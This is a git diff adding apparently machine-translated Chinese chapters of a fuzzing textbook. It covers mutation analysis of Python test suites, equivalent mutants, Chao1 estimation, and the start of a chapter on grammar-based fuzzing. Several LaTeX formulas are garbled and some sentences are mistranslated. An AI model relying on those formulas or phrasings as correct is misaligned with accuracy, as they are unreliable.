+```py
+<unittest.runner.TextTestResult run=3 errors=0 failures=0>
+
+```
+
+在覆盖范围内运行该程序的操作如下：
+
+```py
+with Coverage() as cov:
+    suite(StrongShapeTest).run(unittest.TestResult())
+
+```
+
+获得的覆盖范围如下：
+
+```py
+cov.show_coverage(triangle)
+
+```
+
+```py
+   1: def triangle(a, b, c):
+#  2:     if a == b:
+#  3:         if b == c:
+#  4:             return 'Equilateral'
+   5:         else:
+#  6:             return 'Isosceles'
+#  7:     else:
+#  8:         if b == c:
+#  9:             return "Isosceles"
+# 10:         else:
+  11:             if a == c:
+# 12:                 return "Isosceles"
+  13:             else:
+  14:                 return "Scalene"
+  15: 
+
+```
+
+```py
+class WeakShapeTest(unittest.TestCase):
+    def test_equilateral(self):
+        assert shape.triangle(1, 1, 1) == 'Equilateral'
+
+    def test_isosceles(self):
+        assert shape.triangle(1, 2, 1) != 'Equilateral'
+        assert shape.triangle(2, 2, 1) != 'Equilateral'
+        assert shape.triangle(1, 2, 2) != 'Equilateral'
+
+    def test_scalene(self):
+        assert shape.triangle(1, 2, 3) != 'Equilateral'
+
+```
+
+它获得多少覆盖率？
+
+```py
+with Coverage() as cov:
+    suite(WeakShapeTest).run(unittest.TestResult())
+
+```
+
+```py
+cov.show_coverage(triangle)
+
+```
+
+```py
+   1: def triangle(a, b, c):
+#  2:     if a == b:
+#  3:         if b == c:
+#  4:             return 'Equilateral'
+   5:         else:
+#  6:             return 'Isosceles'
+#  7:     else:
+#  8:         if b == c:
+#  9:             return "Isosceles"
+# 10:         else:
+  11:             if a == c:
+# 12:                 return "Isosceles"
+  13:             else:
+  14:                 return "Scalene"
+  15: 
+
+```
+
+`MuProgramAnalyzer`是负责测试套件突变分析的主要类。 它接受要测试的模块的名称及其源代码。 它通过解析和解析一次来标准化源代码。 这是必需的，以确保原始和突变体之间的`diff`之后不会因空白注释等的差异而脱轨。
+
+```py
+class MuProgramAnalyzer(MuFunctionAnalyzer):
+    def __init__(self, name, src):
+        self.name = name
+        self.ast = ast.parse(src)
+        self.src = astor.to_source(self.ast)
+        self.changes = []
+        self.mutator = self.mutator_object()
+        self.nmutations = self.get_mutation_count()
+        self.un_detected = set()
+
+    def mutator_object(self, locations=None):
+        return AdvStmtDeletionMutator(self, locations)
+
+```
+
+The `Mutator` provides the base class for implementing individual mutations. It accepts a list of locations to mutate. It assumes that the method `mutable_visit()` is invoked on all nodes of interest as determined by the subclass. When the `Mutator` is invoked without a list of locations to mutate, it simply loops through all possible mutation points and retains a count in `self.count`. If it is invoked with a specific list of locations to mutate, the `mutable_visit()` method calls the `mutation_visit()` which performs the mutation on the node. Note that a single location can produce multiple mutations. (Hence the hashmap).
+
+```py
+class AdvMutator(Mutator):
+    def __init__(self, analyzer, mutate_locations=None):
+        self.count = 0
+        self.mutate_locations = [] if mutate_locations is None else mutate_locations
+        self.pm = analyzer
+
+    def mutable_visit(self, node):
+        self.count += 1  # statements start at line no 1
+        return self.mutation_visit(node)
+
+```
+
+`AdvStmtDeletionMutator`只是挂接到所有处理语句的访问者中。 它通过将给定的语句替换为`pass`来执行变异。
+
+```py
+class AdvStmtDeletionMutator(AdvMutator, StmtDeletionMutator):
+    def __init__(self, analyzer, mutate_locations=None):
+        AdvMutator.__init__(self, analyzer, mutate_locations)
+
+    def mutation_visit(self, node):
+        index = 0  # there is only one way to delete a statement -- replace it by pass
+        if not self.mutate_locations:  # counting pass
+            self.pm.changes.append((self.count, index))
+            return self.generic_visit(node)
+        else:
+            # get matching changes for this pass
+            mutating_lines = set((count, idx)
+                                 for (count, idx) in self.mutate_locations)
+            if (self.count, index) in mutating_lines:
+                return ast.Pass()
+            else:
+                return self.generic_visit(node)
+
+```
+
+Aagin，我们可以如下获得`triangle()`产生的突变数。
+
+```py
+MuProgramAnalyzer('shape', shape_src).nmutations
+
+```
+
+```py
+5
+
+```
+
+我们需要一种获得单个突变体的方法。 为此，我们将`MuProgramAnalyzer`转换为*可迭代的*。
+
+```py
+class MuProgramAnalyzer(MuProgramAnalyzer):
+    def __iter__(self):
+        return AdvPMIterator(self)
+
+```
+
+`AdvPMIterator`定义为`MuProgramAnalyzer`的*迭代器*类。
+
+```py
+class AdvPMIterator:
+    def __init__(self, pm):
+        self.pm = pm
+        self.idx = 0
+
+```
+
+`next()`方法返回相应的`Mutant`
+
+```py
+class AdvPMIterator(AdvPMIterator):
+    def __next__(self):
+        i = self.idx
+        if i >= len(self.pm.changes):
+            raise StopIteration()
+        self.idx += 1
+        # there could be multiple changes in one mutant
+        return AdvMutant(self.pm, [self.pm.changes[i]])
+
+```
+
+The `Mutant` class contains logic for generating mutants when given the locations to mutate.
+
+```py
+class AdvMutant(Mutant):
+    def __init__(self, pm, locations):
+        self.pm = pm
+        self.i = locations
+        self.name = "%s_%s" % (self.pm.name,
+                               '_'.join([str(i) for i in self.i]))
+        self._src = None
+
+```
+
+Here is how it can be used:
+
+```py
+shape_src = inspect.getsource(triangle)
+
+```
+
+```py
+for m in MuProgramAnalyzer('shape', shape_src):
+    print(m.name)
+
+```
+
+```py
+shape_(1, 0)
+shape_(2, 0)
+shape_(3, 0)
+shape_(4, 0)
+shape_(5, 0)
+
+```
+
+The `generate_mutant()` simply calls the `mutator()` method, and passes the mutator a copy of the AST.
+
+```py
+class AdvMutant(AdvMutant):
+    def generate_mutant(self, locations):
+        mutant_ast = self.pm.mutator_object(
+            locations).visit(ast.parse(self.pm.src))  # copy
+        return astor.to_source(mutant_ast)
+
+```
+
+The `src()` method returns the mutated source.
+
+```py
+class AdvMutant(AdvMutant):
+    def src(self):
+        if self._src is None:
+            self._src = self.generate_mutant(self.i)
+        return self._src
+
+```
+
+同样，我们将突变体可视化为与原始突变体的区别：
+
+```py
+import [difflib](https://docs.python.org/3/library/difflib.html)
+
+```
+
+We add the `diff()` method to `Mutant` so that it can be called directly.
+
+```py
+class AdvMutant(AdvMutant):
+    def diff(self):
+        return '\n'.join(difflib.unified_diff(self.pm.src.split('\n'),
+                                              self.src().split('\n'),
+                                              fromfile='original',
+                                              tofile='mutant',
+                                              n=3))
+
+```
+
+```py
+for mutant in MuProgramAnalyzer('shape', shape_src):
+    print(mutant.name)
+    print(mutant.diff())
+    break
+
+```
+
+```py
+shape_(1, 0)
+--- original
+
++++ mutant
+
+@@ -1,7 +1,7 @@
+
+ def triangle(a, b, c):
+     if a == b:
+         if b == c:
+-            return 'Equilateral'
++            pass
+         else:
+             return 'Isosceles'
+     elif b == c:
+
+```
+
+我们现在准备实施实际评估。 为此，我们需要能够接受定义了测试套件的模块，并在其上调用测试方法。 方法`getitem`接受测试模块，将测试模块上的导入条目固定为正确指向变异模块，然后将其传递给测试运行器`MutantTestRunner`。
+
+```py
+class AdvMutant(AdvMutant):
+    def __getitem__(self, test_module):
+        test_module.__dict__[
+            self.pm.name] = import_code(
+            self.src(), self.pm.name)
+        return MutantTestRunner(self, test_module)
+
+```
+
+`MutantTestRunner`只需调用测试模块上的所有`test_`方法，检查是否发现了突变体，然后返回结果。
+
+```py
+from [ExpectError](ExpectError.html) import ExpectTimeout
+
+```
+
+```py
+class MutantTestRunner:
+    def __init__(self, mutant, test_module):
+        self.mutant = mutant
+        self.tm = test_module
+
+    def runTest(self, tc):
+        suite = unittest.TestSuite()
+        test_class = self.tm.__dict__[tc]
+        for f in test_class.__dict__:
+            if f.startswith('test_'):
+                suite.addTest(test_class(f))
+        runner = unittest.TextTestRunner(verbosity=0, failfast=True)
+        try:
+            with ExpectTimeout(1):
+                res = runner.run(suite)
+                if res.wasSuccessful():
+                    self.mutant.pm.un_detected.add(self)
+                return res
+        except SyntaxError:
+            print('Syntax Error (%s)' % self.mutant.name)
+            return None
+        raise Exception('Unhandled exception during test execution')
+
+```
+
+突变得分通过`score()`计算。
+
+```py
+class MuProgramAnalyzer(MuProgramAnalyzer):
+    def score(self):
+        return (self.nmutations - len(self.un_detected)) / self.nmutations
+
+```
+
+Here is how we use our framework.
+
+```py
+import [sys](https://docs.python.org/3/library/sys.html)
+
+```
+
+```py
+test_module = sys.modules[__name__]
+for mutant in MuProgramAnalyzer('shape', shape_src):
+    mutant[test_module].runTest('WeakShapeTest')
+mutant.pm.score()
+
+```
+
+```py
+======================================================================
+FAIL: test_equilateral (__main__.WeakShapeTest)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "<ipython-input-67-bde838eb5078>", line 3, in test_equilateral
+    assert shape.triangle(1, 1, 1) == 'Equilateral'
+AssertionError
+
+----------------------------------------------------------------------
+Ran 1 test in 0.001s
+
+FAILED (failures=1)
+----------------------------------------------------------------------
+Ran 3 tests in 0.001s
+
+OK
+----------------------------------------------------------------------
+Ran 3 tests in 0.001s
+
+OK
+----------------------------------------------------------------------
+Ran 3 tests in 0.001s
+
+OK
+----------------------------------------------------------------------
+Ran 3 tests in 0.001s
+
+OK
+
+```
+
+```py
+0.2
+
+```
+
+`WeakShape`测试套件仅导致`20%`突变评分。
+
+```py
+for mutant in MuProgramAnalyzer('shape', shape_src):
+    mutant[test_module].runTest('StrongShapeTest')
+mutant.pm.score()
+
+```
+
+```py
+======================================================================
+FAIL: test_equilateral (__main__.StrongShapeTest)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "<ipython-input-61-6ba9e9735b80>", line 4, in test_equilateral
+    assert shape.triangle(1, 1, 1) == 'Equilateral'
+AssertionError
+
+----------------------------------------------------------------------
+Ran 1 test in 0.001s
+
+FAILED (failures=1)
+======================================================================
+FAIL: test_isosceles (__main__.StrongShapeTest)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "<ipython-input-61-6ba9e9735b80>", line 8, in test_isosceles
+    assert shape.triangle(2, 2, 1) == 'Isosceles'
+AssertionError
+
+----------------------------------------------------------------------
+Ran 2 tests in 0.001s
+
+FAILED (failures=1)
+======================================================================
+FAIL: test_isosceles (__main__.StrongShapeTest)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "<ipython-input-61-6ba9e9735b80>", line 9, in test_isosceles
+    assert shape.triangle(1, 2, 2) == 'Isosceles'
+AssertionError
+
+----------------------------------------------------------------------
+Ran 2 tests in 0.001s
+
+FAILED (failures=1)
+======================================================================
+FAIL: test_isosceles (__main__.StrongShapeTest)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "<ipython-input-61-6ba9e9735b80>", line 7, in test_isosceles
+    assert shape.triangle(1, 2, 1) == 'Isosceles'
+AssertionError
+
+----------------------------------------------------------------------
+Ran 2 tests in 0.001s
+
+FAILED (failures=1)
+======================================================================
+FAIL: test_scalene (__main__.StrongShapeTest)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "<ipython-input-61-6ba9e9735b80>", line 12, in test_scalene
+    assert shape.triangle(1, 2, 3) == 'Scalene'
+AssertionError
+
+----------------------------------------------------------------------
+Ran 3 tests in 0.001s
+
+FAILED (failures=1)
+
+```
+
+```py
+1.0
+
+```
+
+另一方面，我们可以通过`StrongShapeTest`测试套件获得`100%`突变评分。
+
+这是另一个示例`gcd()`。
+
+```py
+gcd_src = inspect.getsource(gcd)
+
+```
+
+```py
+class TestGCD(unittest.TestCase):
+    def test_simple(self):
+        assert cfg.gcd(1, 0) == 1
+
+    def test_mirror(self):
+        assert cfg.gcd(0, 1) == 1
+
+```
+
+```py
+for mutant in MuProgramAnalyzer('cfg', gcd_src):
+    mutant[test_module].runTest('TestGCD')
+mutant.pm.score()
+
+```
+
+```py
+======================================================================
+ERROR: test_mirror (__main__.TestGCD)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "<ipython-input-93-9157b5e48dd8>", line 6, in test_mirror
+    assert cfg.gcd(0, 1) == 1
+  File "<string>", line 5, in gcd
+UnboundLocalError: local variable 'c' referenced before assignment
+
+----------------------------------------------------------------------
+Ran 2 tests in 0.001s
+
+FAILED (errors=1)
+======================================================================
+FAIL: test_mirror (__main__.TestGCD)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "<ipython-input-93-9157b5e48dd8>", line 6, in test_mirror
+    assert cfg.gcd(0, 1) == 1
+AssertionError
+
+----------------------------------------------------------------------
+Ran 2 tests in 0.001s
+
+FAILED (failures=1)
+----------------------------------------------------------------------
+Ran 2 tests in 0.001s
+
+OK
+----------------------------------------------------------------------
+Ran 2 tests in 0.001s
+
+OK
+----------------------------------------------------------------------
+Ran 2 tests in 0.001s
+
+OK
+----------------------------------------------------------------------
+Ran 2 tests in 0.001s
+
+OK
+======================================================================
+FAIL: test_simple (__main__.TestGCD)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "<ipython-input-93-9157b5e48dd8>", line 3, in test_simple
+    assert cfg.gcd(1, 0) == 1
+AssertionError
+
+----------------------------------------------------------------------
+Ran 1 test in 0.001s
+
+FAILED (failures=1)
+
+```
+
+```py
+0.42857142857142855
+
+```
+
+我们看到我们的`TestGCD`测试套件能够获得`42%`突变得分。
+
+## 等价突变体[的问题](#The-Problem-of--Equivalent-Mutants)
+
+突变分析的问题之一是，并非所有产生的突变体都必须是有缺陷的。 例如，考虑下面的`new_gcd()`程序。
+
+```py
+def new_gcd(a, b):
+    if a < b:
+        a, b = b, a
+    else:
+        a, b = a, b
+
+    while b != 0:
+        a, b = b, a % b
+    return a
+
+```
+
+可以对该程序进行突变以产生以下突变体。
+
+```py
+def gcd(a, b):
+    if a < b:
+        a, b = b, a
+    else:
+        pass
+
+    while b != 0:
+        a, b = b, a % b
+    return a
+
+```
+
+```py
+for i, mutant in enumerate(MuFunctionAnalyzer(new_gcd)):
+    print(i,mutant.src())
+
+```
+
+```py
+0 def new_gcd(a, b):
+    if a < b:
+        pass
+    else:
+        a, b = a, b
+    while b != 0:
+        a, b = b, a % b
+    return a
+
+1 def new_gcd(a, b):
+    if a < b:
+        a, b = b, a
+    else:
+        pass
+    while b != 0:
+        a, b = b, a % b
+    return a
+
+2 def new_gcd(a, b):
+    if a < b:
+        a, b = b, a
+    else:
+        a, b = a, b
+    while b != 0:
+        pass
+    return a
+
+3 def new_gcd(a, b):
+    if a < b:
+        a, b = b, a
+    else:
+        a, b = a, b
+    while b != 0:
+        a, b = b, a % b
+    pass
+
+```
+
+尽管其他突变体与原始变异体相比有缺陷，但是`mutant 1`在语义上与原始变异没有区别，因为它删除了无关紧要的分配。 这表示`mutant 1`不代表故障。 这些不代表故障的突变体称为*等效突变体*。 等效突变体的问题在于，在存在等效突变体的情况下，很难判断突变得分。 例如，突变分数为70％时，0％至30％的突变体可能是等效的。 因此，在不知道等效突变体的实际数目的情况下，不可能判断测试可以提高多少。 我们讨论了两种处理等效突变体的方法。
+
+### 等价突变体数量的统计估计
+
+如果活着的突变体的数量足够少，则可以依靠简单地手动检查它们。 但是，如果突变体的数量足够大（例如> 1000），则可以从存活的突变体中随机选择较少数量的突变体，然后手动评估它们是否代表缺陷。 样本大小的确定由以下公式控制，该公式用于二项式分布（近似于正态分布）：
+
+$$ n \ ge \ hat {p}（1- \ hat {p}）\ bigg（\ frac {Z _ {\ frac {\ alpha} {2}}} {\ Delta} \ bigg）^ 2 $$
+
+其中，$ n $是样本数，$ p $是概率分布的参数，$ \ alpha $是所需的精度，$ \ Delta $是精度。 对于$ 95 \％$的准确性，$ Z_ {0.95} = 1.96 $。 我们有以下值（$ \ hat {p}（1- \ hat {p}）的最大值= 0.25 $），而$ Z $是正态分布的临界值：
+
+$$ n \ ge 0.25 \ bigg（\ frac {1.96} {\ Delta} \ bigg）^ 2 $$
+
+对于$ Delta = 0.01 $，（最大误差为1％），我们需要评估$ 9604 $突变体的等效性。 如果将约束放宽到$ \ Delta = 0.1 $（这是$ 10 \％$的误差），则只需要评估$ 96 $突变体的等效性即可。
+
+### 统计量估计由不朽的估计
+
+尽管仅采样有限数量的突变体的想法很吸引人，但它仍然受到限制，因为必须进行手动分析。 如果计算能力很便宜，另一种估算真实突变体数量（以及等效突变体数量）的方法是使用Chao的估算器。 正如我们将在[一章中看到的何时停止模糊](WhenToStopFuzzing.html)的公式一样，公式为：
+
+$$ \ hat S_ \ text {Chao1} = \ begin {cases} S（n）+ \ frac {f_1 ^ 2} {2f_2} & \ text {if $ f_2 > 0 $} \\ S（ n）+ \ frac {f_1（f_1-1）} {2} & \ text {否则} \ end {cases} $$
+
+基本思想是针对每个突变体计算每个测试的完整测试矩阵$ T \ M $的结果。 变量$ f_1 $代表被精确杀死一次的突变体的数量，变量$ f_2 $代表被精确杀死两次的变量的数量。 $ S（n）$是被杀死的突变体总数。 在这里，$ \ hat {S} _ {Chao1} $提供了对突变体真实数量的估计。 如果$ M $是生成的总突变体，则$ M-\ hat {S} _ {Chao1} $表示**不朽**突变体的数量。 请注意，这些**不朽**突变体与传统的等效突变体有些不同，因为**死亡率**取决于用于区分变体行为的预言。 也就是说，如果使用依赖于抛出的错误来检测杀戮的模糊器，它将不会检测到产生不同输出但不会抛出错误的突变体。 因此， *Chao1* 估计值将实质上是模糊器可以检测到的突变体的渐近线值，如果该突变体被赋予了无限的时间。 当使用的预言家足够强大时，**不朽的**突变体估算值将接近真实的**等效**突变体估算值。 有关更多详细信息，请参见[何时停止模糊](WhenToStopFuzzing.html)的章节。
+
+## 经验教训
+
+*   我们已经了解了为什么结构覆盖范围不足以评估测试套件的质量。
+*   我们已经了解了如何使用变异分析来评估测试套件的质量。
+*   我们已经了解了突变分析的局限性-等效和冗余突变体，以及如何估算它们。
+
+## 后续步骤
+
+*   虽然幼稚的模糊测试会产生质量较差的预言，但诸如[符号](SymbolicFuzzer.html)和[缩略语](ConcolicFuzzer.html)之类的技术可以增强模糊测试中使用的预言质量。
+*   [动态不变量](DynamicInvariants.html)对提高Oracle的质量也有很大的帮助。
+*   [何时停止模糊](WhenToStopFuzzing.html)的章节详细介绍了Chao估算器。
+
+## 背景
+
+突变分析的想法最早由Lipton等人提出。 [Lipton *等人*，1971。]。 贾等人发表了一份出色的突变分析研究综述。 [Jia *等*，2011。]。 Papadakis等人[Papadakis *等人*，2019年。有关突变分析的章节是对突变分析当前趋势的又一出色概述。
+
+## 练习
+
+### 练习1：算术表达变量
+
+我们简单的语句删除突变只是可以对程序进行突变的一种方法。 另一类突变体是*表达突变*，其中算术运算符（例如`{+,-,*,/}`等）彼此替换。 例如，给定一个表达式，例如
+
+```py
+x = x + 1
+```
+
+可以将其变异为
+
+```py
+x = x - 1
+```
+
+和
+
+```py
+x = x * 1
+```
+
+and
+
+```py
+x = x / 1
+```
+
+首先，我们需要找出要突变的节点类型。 我们通过ast函数获得这些，并发现节点类型名为BinOp
+
+```py
+print(astor.dump_tree(ast.parse("1 + 2 - 3 * 4 / 5")))
+
+```
+
+```py
+Module(
+    body=[
+        Expr(
+            value=BinOp(left=BinOp(left=Num(n=1), op=Add, right=Num(n=2)),
+                op=Sub,
+                right=BinOp(left=BinOp(left=Num(n=3), op=Mult, right=Num(n=4)), op=Div, right=Num(n=5))))])
+
+```
+
+要使树变异，因此您需要更改`op`属性（其值为`Add`，`Sub`，`Mult`和`Div`之一）
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/MutationAnalysis.ipynb#Exercises) to work on the exercises and see solutions.
+
+要使树变异，我们需要更改`op`属性（其值为`Add`，`Sub`，`Mult`和`Div`之一）。 编写一个进行必要突变的类`BinOpMutator`，然后创建一个类`MuBinOpAnalyzer`作为`MuFunctionAnalyzer`的子类，该类使用`BinOpMutator`。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/MutationAnalysis.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习2：优化突变分析
+
+我们的突变分析技术效率低下，因为我们即使在代码中包含测试案例未涵盖的突变的突变体上也可以运行测试。 测试用例无法检测未涵盖的部分代码中的错误。 因此，最简单的优化方法之一是首先从给定的测试用例中恢复覆盖率信息，然后仅在突变位于测试用例所覆盖的代码中的突变体上运行测试用例。 您可以修改`MuFunctionAnalyzer`以纳入恢复覆盖范围作为第一步吗？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/MutationAnalysis.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习3：字节码突变器
+
+我们已经看到了在给定源的情况下如何突变AST。 这种方法的缺点之一是Python字节码也被其他语言作为目标。 在这种情况下，源可能不容易转换为Python AST，因此希望更改字节码。 您是否可以为Python函数实现字节码更改器，该字节器更改字节码而不是获取源代码然后对其进行更改？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/MutationAnalysis.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习4：估计残余缺陷密度
+
+程序的缺陷密度是程序中发布之前检测到的缺陷数除以程序大小。 残余缺陷密度是逃避检测的缺陷百分比。 尽管很难估计实际的残余缺陷密度，但突变分析可以提供一个上限。 仍未检测到的突变体数量是程序中剩余缺陷数量的合理上限。 但是，此上限可能太宽。 原因是一些剩余的故障可以相互影响，并且如果一起出现，则可以由可用的测试套件检测到。 因此，更严格的界限是在给定程序中可以被*并存*却没有被给定测试套件检测到的突变体的数量。 这可以通过从可能的完整突变集开始，并应用[的delta-debugging来完成，该章在减少](Reducer.html)的章节中确定了需要删除的最小数目的突变，以使突变体无法被检测到。 测试套件。 您可以通过扩展使用此技术来估计残余缺陷密度上限的`MuFunctionAnalyzer`来产生新的`RDDEstimator`吗？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/MutationAnalysis.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/14.md b/new/fuzzing-book-zh/14.md
new file mode 100644
index 0000000000000000000000000000000000000000..56f04a002e1476f34518589014c4bdd754a9772d
--- /dev/null
+++ b/new/fuzzing-book-zh/14.md
@@ -0,0 +1,21 @@
+# 第三部分：语法模糊
+
+> 原文： [https://www.fuzzingbook.org/html/03_Syntactical_Fuzzing.html](https://www.fuzzingbook.org/html/03_Syntactical_Fuzzing.html)
+
+本部分介绍了*语法*级别的测试生成，即，构成语言结构的输入。
+
+*   [语法](Grammars.html)为程序提供合法输入的*规范*。 通过语法指定输入可以非常系统和有效地生成测试，特别是对于复杂的输入格式。
+
+*   [高效的语法模糊处理](GrammarFuzzer.html)引入了基于树的语法模糊处理算法，该算法速度更快，并且可以更好地控制模糊输入的产生。
+
+*   [语法覆盖率](GrammarCoverageFuzzer.html)可以系统地覆盖语法元素，以便我们最大限度地提高多样性，而不会漏掉单个元素。
+
+*   [解析输入](Parser.html)显示了如何使用语法将给定的有效种子输入集解析和分解为相应的派生树。
+
+*   [概率语法模糊](ProbabilisticGrammarFuzzer.html)通过将*概率*分配给各个扩展来赋予语法更多的功能。
+
+*   [生成器模糊处理](GeneratorGrammarFuzzer.html)显示如何使用*函数*扩展语法-在语法扩展过程中执行的代码片段，可以生成，检查或更改生成的元素。
+
+*   [Greybox语法模糊](GreyboxGrammarFuzzer.html)利用结构表示法允许我们对它们的各个部分进行变异，交叉和重组，以生成新的有效的，稍有变化的输入。
+
+*   [减少故障导致的输入](Reducer.html)提出了以下技术：*自动将故障引起的输入减少并简化到最小*，以便于调试。
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/15.md b/new/fuzzing-book-zh/15.md
new file mode 100644
index 0000000000000000000000000000000000000000..4203eecca4938058cb4695c7e7b9099e809ed0ca
--- /dev/null
+++ b/new/fuzzing-book-zh/15.md
@@ -0,0 +1,2099 @@
+# 用文法模糊处理
+
+> 原文： [https://www.fuzzingbook.org/html/Grammars.html](https://www.fuzzingbook.org/html/Grammars.html)
+
+在[“基于突变的模糊检测”](MutationFuzzer.html) 一章中，我们了解了如何使用额外的提示（例如样本输入文件）来加快测试生成速度。 在本章中，我们通过为程序提供合法输入的*规范*来使这一想法更进一步。 通过*语法*指定输入可以进行非常系统和有效的测试生成，尤其是对于复杂的输入格式。 语法还充当配置模糊测试，API模糊测试，GUI模糊测试等的基础。
+
+**前提条件**
+
+*   您应该知道基本的模糊测试如何工作，例如 [一章中介绍了模糊](Fuzzer.html)。
+*   基于[突变的模糊](MutationFuzzer.html)和[覆盖率](Coverage.html)的知识尚不需要*，但仍推荐使用。*
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+import [Fuzzer](Fuzzer.html)
+
+```
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.Grammars](Grammars.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+本章介绍*语法*，作为指定输入语言并将其用于测试具有语法有效输入的程序的简单方法。 语法定义为非终结符到替代扩展列表的映射，如以下示例所示：
+
+```py
+>>> US_PHONE_GRAMMAR = {
+>>>     "<start>": ["<phone-number>"],
+>>>     "<phone-number>": ["(<area>)<exchange>-<line>"],
+>>>     "<area>": ["<lead-digit><digit><digit>"],
+>>>     "<exchange>": ["<lead-digit><digit><digit>"],
+>>>     "<line>": ["<digit><digit><digit><digit>"],
+>>>     "<lead-digit>": ["2", "3", "4", "5", "6", "7", "8", "9"],
+>>>     "<digit>": ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
+>>> }
+>>> 
+>>> assert is_valid_grammar(US_PHONE_GRAMMAR)
+
+```
+
+非终端符号括在尖括号中（例如`<digit>`）。 为了从语法生成输入字符串，*生产者*以起始符号（`<start>`）开头，并为该符号随机选择一个随机扩展。 它将继续该过程，直到所有非终结符都展开为止。 函数`simple_grammar_fuzzer()`可以做到：
+
+```py
+>>> [simple_grammar_fuzzer(US_PHONE_GRAMMAR) for i in range(5)]
+['(692)449-5179',
+ '(519)230-7422',
+ '(613)761-0853',
+ '(979)881-3858',
+ '(810)914-5475']
+
+```
+
+但是，实际上，您应该使用[类，](GrammarFuzzer.html)类或基于[覆盖率的](GrammarCoverageFuzzer.html)，基于[概率性的](ProbabilisticGrammarFuzzer.html)而不是  [基于生成器的](GeneratorGrammarFuzzer.html)衍生物； 这些功能更加有效，可防止无限增长，并提供其他一些功能。
+
+本章还介绍了[语法工具箱](#A-Grammar-Toolbox)，该工具箱具有多个辅助功能，可简化语法的编写，例如对字符类和重复使用快捷方式符号或扩展语法
+
+## 输入语言
+
+程序的所有可能的行为都可以通过其输入来触发。 这里的“输入”可以有很多种可能的来源：我们正在谈论从文件，环境或网络中读取的数据，用户输入的数据或通过与其他资源交互而获取的数据。 所有这些输入的集合决定了程序的行为方式-包括其失败。 因此，在测试时，考虑可能的输入源，如何控制它们以及*如何系统地测试它们*非常有帮助。
+
+为了简单起见，我们现在假设该程序只有一个输入源； 这也是我们在前几章中一直使用的假设。 程序的有效输入集称为*语言*。 语言的范围从简单到复杂：CSV语言表示有效的逗号分隔输入的集合，而Python语言表示有效的Python程序的集合。 我们通常将数据语言和编程语言分开，尽管任何程序也可以视为输入数据（例如，对于编译器）。 文件格式的 [Wikipedia页面列出了1,000多种不同的文件格式，每种格式都是其自己的语言。](https://en.wikipedia.org/wiki/List_of_file_formats)
+
+为了正式描述语言，*正式语言*领域已经设计了许多描述语言的*语言规范*。 *正则表达式*表示这些语言中表示字符串集的最简单的类：例如，正则表达式`[a-z]*`表示小写字母（可能为空）的序列。 *自动机理论*将这些语言与接受这些输入的自动机联系起来； 例如，*有限状态机*可用于指定正则表达式的语言。
+
+正则表达式非常适合不太复杂的输入格式，并且关联的有限状态机具有许多使它们适合推理的属性。 但是，要指定更复杂的输入，它们很快就会遇到限制。 在语言频谱的另一端，我们有*通用语法*，它们表示 *Turing机器*接受的语言。 图灵机可以计算任何可以计算的东西。 并且由于Python是图灵完备的，这意味着我们还可以使用Python程序$ p $来指定甚至枚举合法输入。 但是，然后，计算机科学理论也告诉我们，每个这样的测试程序都必须专门针对要测试的程序编写，这不是我们想要的自动化水平。
+
+## 语法
+
+正则表达式和图灵机之间的中间立场由*语法*覆盖。 语法是用于正式指定输入语言的最流行（和最佳理解）形式主义之一。 使用一种语法，可以表达一种输入语言的多种属性。 语法对于表示输入的*语法结构*特别有用，并且是表示嵌套或递归输入的形式化选择。 我们使用的语法是所谓的*上下文无关文法*，这是最简单和最受欢迎的语法形式主义之一。
+
+### 规则和扩展
+
+语法由*起始符号*和一组*扩展规则*（或简称为*规则*）组成，这些规则指示如何扩展起始符号（和其他符号） 。 例如，请考虑以下语法，表示两个数字的序列：
+
+```py
+<start> ::= <digit><digit>
+<digit> ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9
+```
+
+要阅读此类语法，请从开始符号（`<start>`）开始。 扩展规则`<A> ::= <B>`表示左侧的符号（`<A>`）可以由右侧的字符串（`<B>`）代替。 在以上语法中，`<start>`将替换为`<digit><digit>`。
+
+再次在此字符串中，`<digit>`将替换为`<digit>`规则右侧的字符串。 特殊运算符`|`表示*扩展替代项*（或简称为*替代项*），意味着可以为扩展选择任何数字。 因此，每个`<digit>`都将扩展为给定的数字之一，最终在`00`和`99`之间产生一个字符串。 `0`到`9`没有进一步的扩展，因此我们都准备就绪。
+
+关于语法的有趣之处在于它们可以是*递归*。 也就是说，扩展可以利用之前扩展的符号-然后再将其扩展。 例如，考虑描述整数的语法：
+
+```py
+<start>  ::= <integer>
+<integer> ::= <digit> | <digit><integer>
+<digit>   ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9
+```
+
+此处，`<integer>`可以是一个数字，也可以是后面跟另一个整数的数字。 因此，数字`1234`将被表示为一个数字`1`，后跟一个整数`234`，后者又是一个数字`2`，然后是整数`34`。
+
+如果我们想表达一个整数可以以一个符号（`+`或`-`）开头，我们可以将语法写为
+
+```py
+<start>   ::= <number>
